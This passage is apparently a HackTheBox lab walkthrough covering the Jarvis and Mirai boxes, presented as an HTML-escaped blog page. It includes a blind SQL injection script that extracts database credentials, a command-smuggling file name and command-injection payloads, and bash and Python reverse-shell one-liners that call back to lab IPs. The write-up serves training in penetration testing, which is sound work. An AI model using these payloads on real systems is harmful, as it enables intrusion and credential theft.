decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;When you see an obvious API function as a hint, search for vulnerabilities in it directly.&lt;/p&gt;&#10;&lt;p&gt;Another lesson learned. The conclusion from those links above is this:&lt;/p&gt;&#10;&lt;p&gt;You only need to fool the code by uploading a php.gif file containing PHP. The server will then automatically parse it as PHP code.&lt;/p&gt;&#10;&lt;p&gt;Pretty ridiculous.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0208.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0209.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s just pop a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0210.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0211.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation and information gathering.&lt;/p&gt;&#10;&lt;p&gt;I found an obvious privilege-escalation path in the home directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0212.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This scheduled task runs every three minutes, probably as guly. I could upload pspy32 to check, but there was no need.&lt;/p&gt;&#10;&lt;p&gt;It takes a value, and that value can be appended inside exec.&lt;/p&gt;&#10;&lt;p&gt;So all we need is command concatenation: nohup /bin/rm -f $path$value &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/p&gt;&#10;&lt;p&gt;We know path is /var/www/html/uploads/, while value is one of the files below it.&lt;/p&gt;&#10;&lt;p&gt;Under uploads, run touch &amp;ldquo;1;nc -c sh 10.10.16.13 6666 &amp;amp;&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;That will send a shell back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0213.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0214.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Standard privilege-escalation enumeration. Let&amp;rsquo;s see what this file is.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0215.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through it but couldn&amp;rsquo;t find a problem, so I Googled the configuration name directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0216.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0217.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://seclists.org/fulldisclosure/2019/Apr/24" target="_blank" rel="noopener"&#10; &gt;https://seclists.org/fulldisclosure/2019/Apr/24&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Switch users directly at NAME and see what happens.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0218.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. At first I thought this would be pure code auditing. After spending ages on it, I didn&amp;rsquo;t expect this kind of box to lean more toward exploit use and search skills. In the future, whenever I encounter a hint or a framework, I should search for a payload immediately.&lt;/p&gt;&#10;&lt;h2 id="12jarvis"&gt;&lt;a href="#12jarvis" class="header-anchor"&gt;&lt;/a&gt;12.Jarvis&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0219.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0220.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I probably shouldn&amp;rsquo;t scan it, or I&amp;rsquo;ll get banned.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0221.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Add both domains to hosts.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0222.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Adding the domains didn&amp;rsquo;t seem to change anything. Let&amp;rsquo;s keep looking.&lt;/p&gt;&#10;&lt;p&gt;It seems that as long as I don&amp;rsquo;t attack port 64999, I won&amp;rsquo;t get banned. I even ran directory brute-forcing without a problem. This banning mechanism is strange; perhaps something nmap does triggers it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0223.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an obvious injection point. OSCP doesn&amp;rsquo;t allow tools such as sqlmap, so I&amp;rsquo;ll test it manually.&lt;/p&gt;&#10;&lt;p&gt;At this point I didn&amp;rsquo;t know the absolute path. Testing showed the current user wasn&amp;rsquo;t root, and I didn&amp;rsquo;t know whether it had write permission or what the absolute path was.&lt;/p&gt;&#10;&lt;p&gt;All of those factors prevented me from writing a shell, but I found a phpmyadmin instance.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://supersecurehotel.htb/phpmyadmin/index.php" target="_blank" rel="noopener"&#10; &gt;http://supersecurehotel.htb/phpmyadmin/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The path forward was clear: extract the current user&amp;rsquo;s username and password, then log in and take a look.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;10.10.10.143&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.5&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=2c1jempek07j9n0fdtce3bcgn7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = open(&amp;#39;2.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#34;start&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for number in range(1,18):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in a:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url = f&amp;#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20User%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200 and len(response.text) &amp;gt; 6200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp, end=&amp;#39;&amp;#39;, flush=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = open(&amp;#39;3.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#34;start&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for number in range(2,1000):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in a:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url = f&amp;#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20Password%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(len(response.text))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200 and len(response.text) &amp;gt; 6200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp, end=&amp;#39;&amp;#39;, flush=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I wrote a script.&lt;/p&gt;&#10;&lt;p&gt;2.txt contains uppercase letters (A-Z), lowercase letters (a-z), digits (0-9), _, and -.&lt;/p&gt;&#10;&lt;p&gt;3.txt contains possible password characters. The first character is definitely * and is useless; everything after it is made up of characters, so a character dictionary is enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0224.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If you use select user() to retrieve the account, it will have @localhost appended.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0225.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Crack it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0226.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0227.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully logged in.&lt;/p&gt;&#10;&lt;p&gt;The version is 4.8.0, so just find a matching exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0228.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;50457 looks usable.&lt;/p&gt;&#10;&lt;p&gt;There are plenty of vulnerabilities once you can access the phpMyAdmin backend. Command execution succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0229.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0230.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell came back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0231.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation. My plan was to stop focusing on the website: I already had the current user&amp;rsquo;s credentials, the site had nothing else, and there was no need to inspect its configuration files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0232.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There is a log under the pepper directory that records our attacks.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s do the usual privilege-escalation checks. There is still something here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0233.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is the path forward. Let&amp;rsquo;s inspect it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0234.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First upload pspy32 and monitor processes in another window, then come back to this. I mainly wanted to catch anything unexpected; if I finished this first, I might miss some processes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0235.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0236.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found several interesting things.&lt;/p&gt;&#10;&lt;p&gt;But let&amp;rsquo;s keep monitoring and inspect that file from earlier first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0237.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the key point.&lt;/p&gt;&#10;&lt;p&gt;Pass -p as the first argument.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0238.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking back at the function, it filters the input and rejects concatenation characters. I couldn&amp;rsquo;t think of a bypass.&lt;/p&gt;&#10;&lt;p&gt;Based on previous boxes, this time I thought to Google it directly using English terms.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass" target="_blank" rel="noopener"&#10; &gt;https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That led me to a useful article.&lt;/p&gt;&#10;&lt;p&gt;sudo -u pepper /var/www/Admin-Utilities/simpler.py -p&lt;/p&gt;&#10;&lt;p&gt;127.0.0.1$(cat /home/pepper/user.txt &amp;gt;/tmp/2)&lt;/p&gt;&#10;&lt;p&gt;10.10.66.66$(cat /home/pepper/user.txt)&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s test command concatenation.&lt;/p&gt;&#10;&lt;p&gt;Both work: one writes directly to a file, while the other causes an error and prints the output.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0239.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully read the file. Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;I tried many things here before coming up with a good approach. It rejects -, but every reverse-shell method needs it. Switching users with su also failed because it required a password.&lt;/p&gt;&#10;&lt;p&gt;Write the reverse-shell command directly into a file: echo &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/6661&amp;rsquo;&amp;rdquo; &amp;gt; /tmp/1.sh&lt;/p&gt;&#10;&lt;p&gt;Then call it directly through command concatenation:&lt;/p&gt;&#10;&lt;p&gt;10.10.66.66$(sh /tmp/1.sh)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0240.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell connected back successfully, but there was another problem: this new shell depended on the old one to stay alive. If the old shell disconnected or anything happened to it, the new one became completely useless. The reverse-shell script itself must have been flawed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0241.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Switching to a Python script fixed it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;10.10.10.10&amp;#34;,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&amp;#34;sh&amp;#34;)&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Write it to /tmp/2.py and run it to get a shell back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0242.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The standard privilege-escalation checks didn&amp;rsquo;t seem to lead anywhere.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0243.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking back at pspy32, I didn&amp;rsquo;t see any scheduled tasks. There were only two files running under /root, but I had no permission to inspect them.&lt;/p&gt;&#10;&lt;p&gt;Just upload an enumeration script and scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0244.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0245.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0246.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0247.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0248.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The information above is what I collected. The final privilege-escalation path is obviously here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0249.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a method, although it was a bit awkward to use. This article explains it well, and I eventually escalated privileges successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/zlgxzswjy/p/14781471.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/zlgxzswjy/p/14781471.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0250.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0251.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the end. I learned quite a lot from this one, but unlike the previous boxes, I never got completely stuck; every step was solvable.&lt;/p&gt;&#10;&lt;p&gt;Time to read a write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0252.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This step used UNION injection and the same method that writes a shell.&lt;/p&gt;&#10;&lt;p&gt;The rest of my approach was mostly fine.&lt;/p&gt;&#10;&lt;h2 id="13mirai"&gt;&lt;a href="#13mirai" class="header-anchor"&gt;&lt;/a&gt;13.Mirai&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0253.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing on port 22.&lt;/p&gt;&#10;&lt;p&gt;Port 53 had no domain name, so it couldn&amp;rsquo;t be resolved.&lt;/p&gt;&#10;&lt;p&gt;Port 80 had an admin page, a version page, and a short message.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0254.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Filter out responses of length 61 and continue directory brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0255.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find an exploitable vulnerability. The usable ones all required logging in and obtaining a session. Usually you brute-force while also looking for default credentials.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0256.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on version either. The default credentials are username pi, password raspberry.&lt;/p&gt;&#10;&lt;p&gt;Leave that for now and continue.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0257.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0258.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0259.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Absolutely nothing. The only ideas left were SSH and Plex, but Plex was inaccessible. Let&amp;rsquo;s brute-force directories first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0260.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got straight in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0261.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Ridiculous.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0262.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As expected, it wasn&amp;rsquo;t that 